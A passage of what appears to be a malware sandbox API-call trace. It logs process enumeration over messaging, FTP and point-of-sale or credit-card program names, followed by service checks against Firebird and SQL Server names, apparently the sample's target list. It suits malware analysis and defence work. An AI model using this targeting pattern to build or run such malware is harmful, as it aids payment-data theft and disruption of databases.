dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0065.996] lstrlenW (lpString="thunderbird.exe") returned 15 [0065.996] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0065.998] lstrlenW (lpString="totalcmd.exe") returned 12 [0065.998] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0066.001] lstrlenW (lpString="trillian.exe") returned 12 [0066.001] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0066.006] lstrlenW (lpString="webdrive.exe") returned 12 [0066.006] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0066.008] lstrlenW (lpString="whatsapp.exe") returned 12 [0066.008] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0066.010] lstrlenW (lpString="winscp.exe") returned 10 [0066.010] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0066.012] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0066.012] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0066.014] lstrlenW (lpString="active-charge.exe") returned 17 [0066.014] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0066.016] lstrlenW (lpString="accupos.exe") returned 11 [0066.016] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0066.018] lstrlenW (lpString="afr38.exe") returned 9 [0066.018] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0066.021] lstrlenW (lpString="aldelo.exe") returned 10 [0066.021] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0066.023] lstrlenW (lpString="ccv_server.exe") returned 14 [0066.023] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0066.025] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0066.025] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0066.027] lstrlenW (lpString="creditservice.exe") returned 17 [0066.027] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0066.029] lstrlenW (lpString="edcsvr.exe") returned 10 [0066.029] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0066.031] lstrlenW (lpString="fpos.exe") returned 8 [0066.031] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0066.032] lstrlenW (lpString="isspos.exe") returned 10 [0066.033] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0066.035] lstrlenW (lpString="mxslipstream.exe") returned 16 [0066.035] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0066.036] lstrlenW (lpString="omnipos.exe") returned 11 [0066.036] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0066.038] lstrlenW (lpString="spcwin.exe") returned 10 [0066.038] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0066.040] lstrlenW (lpString="spgagentservice.exe") returned 19 [0066.040] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0066.042] lstrlenW (lpString="utg2.exe") returned 8 [0066.042] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="faces gardening massage.exe")) returned 1 [0066.044] lstrlenW (lpString="faces gardening massage.exe") returned 27 [0066.044] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="forbidden exhibits fireplace.exe")) returned 1 [0066.046] lstrlenW (lpString="forbidden exhibits fireplace.exe") returned 32 [0066.046] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="intendedreceivedchick.exe")) returned 1 [0066.048] lstrlenW (lpString="intendedreceivedchick.exe") returned 25 [0066.048] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="achieve.exe")) returned 1 [0066.049] lstrlenW (lpString="achieve.exe") returned 11 [0066.049] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="harvard.exe")) returned 1 [0066.077] lstrlenW (lpString="harvard.exe") returned 11 [0066.077] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0066.079] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0066.079] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0066.081] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0066.081] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0066.082] lstrlenW (lpString="taskhost.exe") returned 12 [0066.083] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0066.084] lstrlenW (lpString="dllhost.exe") returned 11 [0066.084] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0066.086] lstrlenW (lpString="dllhost.exe") returned 11 [0066.086] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mdskkv.exe")) returned 1 [0066.087] lstrlenW (lpString="mdskkv.exe") returned 10 [0066.087] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0066.088] lstrlenW (lpString="cmd.exe") returned 7 [0066.089] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 0 [0066.090] CloseHandle (hObject=0x118) returned 1 [0066.090] Sleep (dwMilliseconds=0x1f4) [0067.355] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x605b88 [0067.357] EnumServicesStatusExW (in: hSCManager=0x605b88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 0 [0067.360] GetLastError () returned 0xea [0067.360] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11e4) returned 0x670288 [0067.360] EnumServicesStatusExW (in: hSCManager=0x605b88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x670288, cbBufSize=0x11e4, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x670288, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 1 [0067.363] CloseServiceHandle (hSCObject=0x605b88) returned 1 [0067.363] lstrlenW (lpString="Appinfo") returned 7 [0067.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0067.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0067.363] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0067.363] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0067.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0067.364] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0067.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0067.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0067.364] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0067.364] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0067.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0067.364] lstrlenW (lpString="AudioSrv") returned 8 [0067.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0067.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0067.364] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0067.364] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0067.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0067.364] lstrlenW (lpString="BFE") returned 3 [0067.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0067.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0067.364] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0067.364] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0067.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0067.365] lstrlenW (lpString="CryptSvc") returned 8 [0067.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0067.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0067.365] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0067.365] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0067.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0067.365] lstrlenW (lpString="CscService") returned 10 [0067.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0067.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0067.365] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0067.365] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0067.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0067.365] lstrlenW (lpString="DcomLaunch") returned 10 [0067.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0067.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0067.365] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0067.365] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0067.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0067.365] lstrlenW (lpString="Dhcp") returned 4 [0067.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0067.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0067.366] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0067.366] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0067.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0067.366] lstrlenW (lpString="Dnscache") returned 8 [0067.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0067.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0067.366] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0067.366] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0067.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0067.366] lstrlenW (lpString="DPS") returned 3 [0067.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0067.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0067.366] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0067.366] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0067.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0067.366] lstrlenW (lpString="eventlog") returned 8 [0067.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0067.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0067.366] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0067.367] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0067.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0067.367] lstrlenW (lpString="EventSystem") returned 11 [0067.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0067.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0067.367] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0067.367] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0067.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0067.367] lstrlenW (lpString="gpsvc") returned 5 [0067.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0067.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0067.367] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0067.367] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0067.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0067.367] lstrlenW (lpString="iphlpsvc") returned 8 [0067.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0067.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0067.368] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0067.368] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0067.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0067.368] lstrlenW (lpString="LanmanServer") returned 12 [0067.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0067.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0067.368] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0067.368] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0067.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0067.368] lstrlenW (lpString="LanmanWorkstation") returned 17 [0067.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0067.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0067.368] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0067.368] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0067.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0067.368] lstrlenW (lpString="lmhosts") returned 7 [0067.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0067.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0067.369] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0067.369] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0067.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0067.369] lstrlenW (lpString="MMCSS") returned 5 [0067.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0067.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0067.369] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0067.369] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0067.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0067.369] lstrlenW (lpString="MpsSvc") returned 6 [0067.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0067.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0067.369] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0067.369] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0067.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0067.369] lstrlenW (lpString="Netman") returned 6 [0067.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0067.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0067.370] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0067.370] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0067.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0067.370] lstrlenW (lpString="netprofm") returned 8 [0067.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0067.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0067.370] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0067.370] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0067.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0067.370] lstrlenW (lpString="NlaSvc") returned 6 [0067.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0067.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0067.370] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0067.370] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0067.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0067.370] lstrlenW (lpString="nsi") returned 3 [0067.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0067.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0067.371] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0067.371] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0067.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0067.371] lstrlenW (lpString="PcaSvc") returned 6 [0067.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0067.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0067.371] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0067.371] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0067.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0067.371] lstrlenW (lpString="PlugPlay") returned 8 [0067.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0067.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0067.371] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0067.371] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0067.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0067.371] lstrlenW (lpString="Power") returned 5 [0067.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0067.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0067.372] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0067.372] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0067.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0067.372] lstrlenW (lpString="ProfSvc") returned 7 [0067.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0067.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0067.372] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0067.372] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0067.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0067.372] lstrlenW (lpString="RpcEptMapper") returned 12 [0067.372] lstrcmpiW 